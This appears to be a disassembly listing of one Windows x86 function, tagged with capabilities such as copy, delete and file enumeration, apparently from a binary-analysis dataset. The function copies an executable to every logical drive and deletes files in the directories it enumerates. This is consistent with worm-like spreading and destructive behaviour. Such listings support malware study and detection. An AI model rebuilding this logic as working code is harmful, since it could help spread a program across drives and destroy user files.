Function at 0x4025f0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x10], eax
mov ax, word [0x4053ac]
push 0x103
mov word [ebp - 0xc], ax
lea eax, [ebp - 0x12f]
push 0
push eax
mov dword [ebp - 0xa], 0
mov byte [ebp - 0x130], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0x1c7]
mov byte [ebp - 0x1c8], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x2cb]
mov byte [ebp - 0x2cc], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x3cf]
mov byte [ebp - 0x3d0], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0x30
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
nop dword [eax]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x650]
push eax
push 0x4053b0
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x4026ea
push dword [0x4082c8]
lea eax, [ebp - 0x624]
push eax
call fcn.00401f30
add esp, 8
lea eax, [ebp - 0x650]
push eax
push esi
call ebx
test eax, eax
jne 0x4026c0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x4083f0
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
dec eax
cmp eax, 0x3fe
ja 0x402787
cmp byte [0x4083f0], 0
mov esi, 0x4083f0
je 0x402787
push esi
lea eax, [ebp - 0x2c]
push 0x19
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x2c]
push 0x19
push eax
call edi
add esp, 0x18
lea eax, [ebp - 0x2c]
push 0
push eax
push 0x4082d0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x402772
lea eax, [ebp - 0x2c]
push eax
push str.Error:_Failed_to_copy_file_to
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401010
add esp, 8
push eax
call fcn.00401010
add esp, 8
mov ecx, eax
push 0x4012d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402777
sub eax, edx
inc esi
add esi, eax
cmp byte [esi], cl
jne 0x402714
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x510]
push eax
push 0x4053d8
call esi
mov dword [ebp - 0x794], eax
cmp eax, 0xffffffff
je 0x4026a0
nop word [eax + eax]
cmp dword [ebp - 0x510], 0x10
jne 0x4028ee
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call esi
lea eax, [ebp - 0x4e4]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call edi
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x2cc]
push 0x104
push eax
call esi
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x3d0]
push 0x104
push eax
call esi
push str..
lea eax, [ebp - 0x2cc]
push 0x104
push eax
call edi
add esp, 0x3c
lea eax, [ebp - 0x790]
push eax
lea eax, [ebp - 0x2cc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4028e8
nop dword [eax]
lea eax, [ebp - 0x3d0]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
push 0x4053e4
lea eax, [ebp - 0x130]
push 0x104
push eax
call edi
lea eax, [ebp - 0x764]
push eax
lea eax, [ebp - 0x130]
push 0x104
push eax
call edi
add esp, 0x24
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4028c5
push str.Error:_Failed_to_delete_folder
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401010
add esp, 8
mov ecx, eax
push 0x4012d0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea eax, [ebp - 0x790]
push eax
push esi
call ebx
test eax, eax
jne 0x402850
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
call esi
mov eax, dword [ebp - 0x794]
jmp 0x4028f4
mov eax, dword [ebp - 0x794]
mov esi, dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x510]
push ecx
push eax
call ebx
test eax, eax
mov eax, dword [ebp - 0x794]
jne 0x4027b0
push eax
call esi
jmp 0x402696